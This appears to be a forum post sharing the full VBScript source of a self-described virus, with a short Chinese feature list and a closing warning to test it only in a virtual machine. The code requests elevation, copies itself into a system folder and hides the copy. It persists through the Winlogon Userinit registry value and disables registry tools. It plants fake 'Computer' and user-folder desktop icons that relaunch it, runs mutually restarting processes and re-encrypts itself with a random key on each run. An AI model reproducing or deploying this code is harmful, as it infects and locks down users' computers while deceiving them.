［病毒］自我加密，自动变换密码

实现的功能：
——多进程保护
——基于进程的文件保护
——基于属性的文件保护
——自我变换加密
——隐藏启动项的登陆自启动

——以假乱真的不可删除桌面病毒图标“计算机”等

On Error Resume Next
Call GetUAC()
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
Set wn = CreateObject("Wscript.Network")
UserName = wn.UserName
SFldrPath = FSO.GetFile(WScript.ScriptFullName).ParentFolder.Path
If Right(SFldrPath,1) <> "\" Then
SFldrPath = SFldrPath & "\"
End If
CorrectFilePath = FSO.GetSpecialFolder(1) & "\0409\FuckYou.vbs"
MyGUID_Computer = "{FFFFFFFF-EEEE-DDDD-CCCC-BBBBBBBBBBBB}"
MyGUID_UserFolder = "{FFFFFFFF-FFFF-EEEE-DDDD-CCCCCCCCCCCC}"
UserFolderPath = Left(FSO.GetSpecialFolder(0),3) & "Users\" & UserName & "\"
VBS1Path = FSO.GetSpecialFolder(1) & "\ExecComputer.vbs"
VBS2Path = FSO.GetSpecialFolder(1) & "\ExecOthers.vbs"
FE = True
Call SelfEncode(Self)
If WScript.ScriptFullName <> CorrectFilePath Then
FSO.GetFile(WScript.ScriptFullName).Delete
Call RegEdit()
Call FileEdit()
ws.Run "wscript.exe """ & CorrectFilePath & """"
WScript.Quit
End If
Call QuitIfRunningTooMuch()
Do
Call RegEdit()
If FE Then
Call FileEdit()
End If
Call ExecIfRunningTooFew()
WScript.Sleep 5
Loop
Function GetUAC()
On Error Resume Next
If wscript.Arguments.length = 0 Then
Set objshell = CreateObject("Shell.Application")
objshell.ShellExecute"wscript.exe",Chr(34) & wscript.ScriptFullName & chr(34) & " uac","","runas",1
wscript.quit
End If
End Function
Function XXH(text)
On Error Resume Next
Dt = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
Xt = "abcdefghijklmnopqrstuvwxyz"
For i = 1 to len(text)
Chosen = Mid(text,i,1)
For j = 1 to 26
CX = Mid(Xt,j,1)
CD = Mid(Dt,j,1)
If Chosen = CX Or Chosen = CD Then
final = final & CX
End If
Next
If Len(final) < i Then
final = final & Chosen
End If
Next
XXH = final
End Function
Function RegEdit()
On Error Resume Next
RunRegPath = "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"
past = ws.RegRead(RunRegPath)
If Right(Past,1) <> "," Then
Past = Past & ","
End If
If InStr(1,past,"wscript.exe " & CorrectFilePath) = 0 Then
ws.RegWrite RunRegPath,past & "wscript.exe " & CorrectFilePath & ","
End If
ws.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistrytools",1,"REG_DWORD"
ws.RegWrite "HKCR\CLSID\" & MyGUID_Computer & "\","计算机","REG_SZ"
ws.RegWrite "HKCR\CLSID\" & MyGUID_Computer & "\DefaultIcon\","Shell32.dll,15"
ws.RegWrite "HKCR\CLSID\" & MyGUID_Computer & "\ShellFolder\Attributes",0,"REG_DWORD"
ws.RegWrite "HKCR\CLSID\" & MyGUID_Computer & "\Shell\打开(&O)\Command\","wscript.exe " & VBS1Path
ws.RegWrite "HKCR\CLSID\" & MyGUID_Computer & "\Shell\管理(&G)\Command\",FSO.GetSpecialFolder(1) & "\mmc.exe"
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\" & MyGUID_Computer & "\",""
ws.RegWrite "HKCR\CLSID\" & MyGUID_UserFolder & "\",UserName,"REG_SZ"
ws.RegWrite "HKCR\CLSID\" & MyGUID_UserFolder & "\DefaultIcon\","imageres.dll,117"
ws.RegWrite "HKCR\CLSID\" & MyGUID_UserFolder & "\ShellFolder\Attributes",0,"REG_DWORD"
ws.RegWrite "HKCR\CLSID\" & MyGUID_UserFolder & "\Shell\打开(&O)\Command\","wscript.exe " & VBS2Path
ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\explorer\Desktop\NameSpace\" & MyGUID_UserFolder & "\",""
End Function
Function FileEdit()
On Error Resume Next
If FSO.FileExists(CorrectFilePath) Then
If FSO.OpenTextFile(CorrectFilePath).ReadAll <> Self Then
FSO.GetFile(CorrectFilePath).Attributes = 0
FSO.GetFile(CorrectFilePath).Delete
FSO.CreateTextFile(CorrectFilePath,True).Write Self
End If
Else
If Not FSO.FolderExists(FSO.GetSpecialFolder(1) & "\0409\") Then
FSO.CreateFolder(FSO.GetSpecialFolder(1) & "\0409\")
End If
FSO.CreateTextFile(CorrectFilePath,True).Write Self
End If
Call WriteVBS1()
Call WriteVBS2()
FSO.GetFile(CorrectFilePath).Attributes = 6
FSO.GetFile(VBS1Path).Attributes = 6
FSO.GetFile(VBS2Path).Attributes = 6
End Function

Function FindAndTerminate(ProcessName,ExePath)
On Error Resume Next
Set bag=getobject("winmgmts:\\.\root\cimv2")
Set pipe=bag.execquery("select * from win32_process where name='" & ProcessName & "'")
For each i in pipe
If XXH(i.ExecutablePath) = ExePath Then
i.terminate()
End If
Next
End Function
Function WriteVBS1()
On Error Resume Next
VBS1Content = "On Error Resume Next:Set ws = CreateObject(""Wscript.Shell""):ws.Run ""wscript.exe """"" & CorrectFilePath & """"""":ws.Run """"""" & UserFolderPath & "AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\computer.lnk"""""":"
If FSO.FileExists(VBS1Path) Then
CurrentContent = ""
CurrentContent = FSO.OpenTextFile(VBS1Path).ReadAll
If CurrentContent = VBS1Content Then
Exit Function
End If
End If
FSO.GetFile(VBS1Path).Attributes = 0
FSO.GetFile(VBS1Path).Delete
FSO.CreateTextFile(VBS1Path,True).Write VBS1Content
End Function
Function WriteVBS2()
On Error Resume Next
VBS2Content = "On Error Resume Next:Set ws = CreateObject(""Wscript.Shell""):ws.Run ""wscript.exe """"" & CorrectFilePath & """"""":ws.Run """"""" & UserFolderPath & """"""":"
If FSO.FileExists(VBS2Path) Then
CurrentContent = ""
CurrentContent = FSO.OpenTextFile(VBS2Path).ReadAll
If CurrentContent = VBS2Content Then
Exit Function
End If
End If
FSO.GetFile(VBS2Path).Attributes = 0
FSO.GetFile(VBS2Path).Delete
FSO.CreateTextFile(VBS2Path,True).Write VBS2Content
End Function
Function QuitIfRunningTooMuch()
On Error Resume Next
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set VBSProcesses = objWMIService.ExecQuery("Select * from Win32_Process where name = 'wscript.exe'",,48)
ntr = 0
For Each VBSProcess in VBSProcesses
If InStr(1,VBSProcess.CommandLine,WScript.ScriptFullName) = Len(WScript.FullName) + 5 Then
ntr = ntr + 1
If ntr >= 3 Then
WScript.Quit
End If
End If
Next
End Function
Function ExecIfRunningTooFew()
On Error Resume Next
Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set VBSProcesses = objWMIService.ExecQuery("Select * from Win32_Process where name = 'wscript.exe'",,48)
ntr = 0
For Each VBSProcess in VBSProcesses
If InStr(1,VBSProcess.CommandLine,WScript.ScriptFullName) = Len(WScript.FullName) + 5 Then
ntr = ntr + 1
End If
Next
If ntr <= 1 Then
Set objshell = CreateObject("Shell.Application")
objshell.ShellExecute"wscript.exe",Chr(34) & wscript.ScriptFullName & chr(34) & " uac","","runas",1
FE = False
End If
End Function
Function VEncode(text,Password)
On Error Resume Next
Letters = """ &+-*/[]{}()^%$#@!',.\|;~=aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ1234567890"
PLength = Len(Password)
TLength = Len(text)
LLength = Len(letters)
Final = ""
For i = 1 To TLength
Chosen = Mid(text,i,1)
If InStr(1,Letters,Chosen) = 0 Then
Final = Final & Chosen
Else
Location = i Mod PLength
If Location = 0 Then
Location = PLength
End If
Move = InStr(1,Letters,Mid(Password,Location,1)) - 1
NewLocation = (InStr(1,Letters,Chosen) + Move) Mod LLength
If NewLocation = 0 Then
NewLocation = LLength
End If
NewChosen = Mid(Letters,NewLocation,1)
Final = Final & NewChosen
End If
Next
VEncode = final
End Function
Function CreateRandomizedText(Length)
On Error Resume Next
Final = ""
letters="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
LLength = Len(letters)
For i=1 To LLength
Randomize
rdnum = Int(85 * Rnd) + 1
Final = Final & Mid(letters,rdnum,1)
Next
CreateRandomizedText = Final
End Function
Function SelfEncode(Self)
On Error Resume Next
If data = "" Then
data = FSO.OpentextFile(Wscript.ScriptFullName).ReadAll
data = Replace(data,Chr(13) & Chr(10),":")
End If
Password = CreateRandomizedText(16)
VEncodedData = VEncode(data,Password)
VEncodedData = Replace(VEncodedData,Chr(34),Chr(34) & Chr(34))
FSO.GetFile(CorrectFilePath).Attributes = 0
Set VBSFinalFile = FSO.CreateTextFile(CorrectFilePath,True)
VBSFinalFile.WriteLine("Data = """ & VEncodedData & """")
VBSFinalFile.WriteLine("")
VBSFinalFile.WriteLine("Function VDecode(text,Password)")
VBSFinalFile.WriteLine(" Letters = """""" &+-*/[]{}()^%$#@!',.\|;~=aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ1234567890""")
VBSFinalFile.WriteLine(" PLength = Len(Password)")
VBSFinalFile.WriteLine(" TLength = Len(text)")
VBSFinalFile.WriteLine(" LLength = Len(letters)")
VBSFinalFile.WriteLine(" Final = """"")
VBSFinalFile.WriteLine(" For i = 1 To TLength")
VBSFinalFile.WriteLine(" Chosen = Mid(text,i,1)")
VBSFinalFile.WriteLine(" If InStr(1,Letters,Chosen) = 0 Then")
VBSFinalFile.WriteLine(" Final = Final & Chosen")
VBSFinalFile.WriteLine(" Else")
VBSFinalFile.WriteLine(" Location = i Mod PLength")
VBSFinalFile.WriteLine(" If Location = 0 Then")
VBSFinalFile.WriteLine(" Location = PLength")
VBSFinalFile.WriteLine(" End If")
VBSFinalFile.WriteLine(" Move = InStr(1,Letters,Mid(Password,Location,1)) - 1")
VBSFinalFile.WriteLine(" NewLocation = (InStr(1,Letters,Chosen) - Move) Mod LLength")
VBSFinalFile.WriteLine(" If NewLocation = 0 Then")
VBSFinalFile.WriteLine(" NewLocation = LLength")
VBSFinalFile.WriteLine(" End If")
VBSFinalFile.WriteLine(" If NewLocation < 0 Then")
VBSFinalFile.WriteLine(" NewLocation = NewLocation + LLength")
VBSFinalFile.WriteLine(" End If")
VBSFinalFile.WriteLine(" NewChosen = Mid(Letters,NewLocation,1)")
VBSFinalFile.WriteLine(" Final = Final & NewChosen")
VBSFinalFile.WriteLine(" End If")
VBSFinalFile.WriteLine(" Next")
VBSFinalFile.WriteLine(" VDecode = final")
VBSFinalFile.WriteLine("End Function")
VBSFinalFile.WriteLine("")
VBSFinalFile.WriteLine("Set FSO = CreateObject(""Scripting.FileSystemObject"")")
VBSFinalFile.WriteLine("Set ws = CreateObject(""Wscript.Shell"")")
VBSFinalFile.WriteLine("")
VBSFinalFile.WriteLine("Data = VDecode(Data,""" & Password & """)")
VBSFinalFile.WriteLine("")
VBSFinalFile.WriteLine("Execute Data")
VBSFinalFile.Close
Self = FSO.OpenTextFile(CorrectFilePath).ReadAll
End Function

想尝试的请用虚拟机，还是那句话：不要作死了